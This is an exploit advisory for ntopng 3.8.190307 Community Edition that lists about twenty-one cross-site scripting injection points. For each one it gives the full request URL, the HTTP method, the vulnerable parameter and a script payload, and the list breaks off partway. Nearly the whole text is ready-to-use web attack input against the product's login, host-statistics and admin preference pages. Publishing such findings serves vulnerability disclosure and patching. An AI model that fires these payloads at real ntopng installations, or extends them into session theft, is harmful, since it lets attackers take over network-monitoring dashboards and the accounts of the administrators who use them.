################################################################################################################################## # Exploit Title: ntopng 3.8.190307 - Community Edition | Cross Site Scripting # Date: 13.03.2019 # Exploit Author: Ozer Goker # Vendor Homepage: https://www.ntop.org # Software Link: http://packages.ntop.org # Version: 3.8.190307 ################################################################################################################################## Introduction ntopng is the next generation version of the original ntop, a network traffic probe that monitors network usage. ntopng is based on libpcap and it has been written in a portable way in order to virtually run on every Unix platform, MacOSX and on Windows as well. ntopng a yes, itas all lowercase a provides a intuitive, encrypted web user interface for the exploration of realtime and historical traffic information. ################################################################################# XSS details: Reflected & Stored ################################################################################# XSS1 | Reflected URL http://192.168.2.200:3000/lua/login.lua?referer=%27%3E%3Cscript%3Ealert(1)%3C/script%3E METHOD Get PARAMETER referer PAYLOAD '><script>alert(1)</script> ################################################################################# XSS2 | Reflected URL http://192.168.2.200:3000/lua/about.lua METHOD Post PARAMETER ntopng_license PAYLOAD '><script>alert(2)</script> ################################################################################# XSS3 | Stored URL http://192.168.2.200:3000/lua/runtime.lua METHOD Get ################################################################################# XSS4 | Reflected URL http://192.168.2.200:3000/?page=TopFlowTalkers%27%3E%3Cscript%3Ealert(3)%3C/script%3E METHOD Get PARAMETER page PAYLOAD '><script>alert(3)</script> ################################################################################# XSS5 | Reflected URL http://192.168.2.200:3000/lua/show_alerts.lua?status=historical%27%3E%3Cscript%3Ealert(4)%3C/script%3E METHOD Get PARAMETER status PAYLOAD '><script>alert(4)</script> ################################################################################# XSS6 | Reflected URL http://192.168.2.200:3000/lua/flow_details.lua?flow_key=2169586644%3Cscript%3Ealert(5)%3C/script%3E METHOD Get PARAMETER flow_key PAYLOAD <script>alert(5)</script> ################################################################################# XSS7 | Reflected URL http://192.168.2.200:3000/lua/host_details.lua?page=flows%27%3E%3Cscript%3Ealert(6)%3C/script%3E&host=ff02::1 METHOD Get PARAMETER page PAYLOAD '><script>alert(6)</script> ################################################################################# XSS8 | Reflected URL http://192.168.2.200:3000/lua/macs_stats.lua?devices_mode=source_macs_only%3Cscript%3Ealert(7)%3C/script%3E METHOD Get PARAMETER devices_mode PAYLOAD <script>alert(7)</script> ################################################################################# XSS9 | Reflected URL http://192.168.2.200:3000/lua/hosts_stats.lua?pool=0%3Cscript%3Ealert(8)%3C/script%3E METHOD Get PARAMETER pool PAYLOAD <script>alert(8)</script> ################################################################################# XSS10 | Reflected URL http://192.168.2.200:3000/lua/hosts_stats.lua?network=-1%3Cscript%3Ealert(9)%3C/script%3E METHOD Get PARAMETER network PAYLOAD <script>alert(9)</script> ################################################################################# XSS11 | Reflected URL http://192.168.2.200:3000/lua/hosts_stats.lua?asn=0%3Cscript%3Ealert(10)%3C/script%3E METHOD Get PARAMETER asn PAYLOAD <script>alert(10)</script> ################################################################################# XSS12 | Reflected URL http://192.168.2.200:3000/lua/hosts_stats.lua?country=AU%3Cscript%3Ealert(11)%3C/script%3E METHOD Get PARAMETER country PAYLOAD <script>alert(11)</script> ################################################################################# XSS13 | Reflected URL http://192.168.2.200:3000/lua/host_details.lua?host=%3Cscript%3Ealert(12)%3C/script%3E METHOD Get PARAMETER host PAYLOAD <script>alert(12)</script> ################################################################################# XSS14 | Reflected URL http://192.168.2.200:3000/lua/host_details.lua?host=1.1.1.1&page=config&ifid=2%3Cscript%3Ealert(13)%3C/script%3E METHOD Get PARAMETER ifid PAYLOAD <script>alert(13)</script> ################################################################################# XSS15 | Reflected URL http://192.168.2.200:3000/lua/hosts_stats.lua?mode=remote%3Cscript%3Ealert(14)%3C/script%3E METHOD Get PARAMETER mode PAYLOAD <script>alert(14)</script> ################################################################################# XSS16 | Reflected URL http://192.168.2.200:3000/lua/if_stats.lua?ifid=2%3Cscript%3Ealert(15)%3C/script%3E METHOD Get PARAMETER ifid PAYLOAD <script>alert(15)</script> ################################################################################# XSS17 | Reflected URL http://192.168.2.200:3000/lua/if_stats.lua?ifid=2&page=packets%27%3E%3Cscript%3Ealert(16)%3C/script%3E METHOD Get PARAMETER page PAYLOAD '><script>alert(16)</script> ################################################################################# XSS18 | Reflected URL http://192.168.2.200:3000/lua/admin/prefs.lua?tab=recording METHOD Post PARAMETER n2disk_license PAYLOAD <script>alert(17)</script> ################################################################################# XSS19 | Reflected URL http://192.168.2.200:3000/lua/admin/prefs.lua?tab=%27%3E%3Cscript%3Ealert(18)%3C/script%3E METHOD PARAMETER tab PAYLOAD '><script>alert(18)</script> ################################################################################# XSS20 | Reflected URL http://192.168.2.200:3000/lua/admin/prefs.lua?tab=misc METHOD Post PARAMETER google_apis_browser_key PAYLOAD '><script>alert(19)</script> ################################################################################# XSS21 | Reflected URL http://192.168.2.200:3000/lua/admin/prefs.lua?tab=misc METHOD Post PARAMETER http_acl_management_port PAYLOAD '><script>alert(20)</script> ################################################################################# ...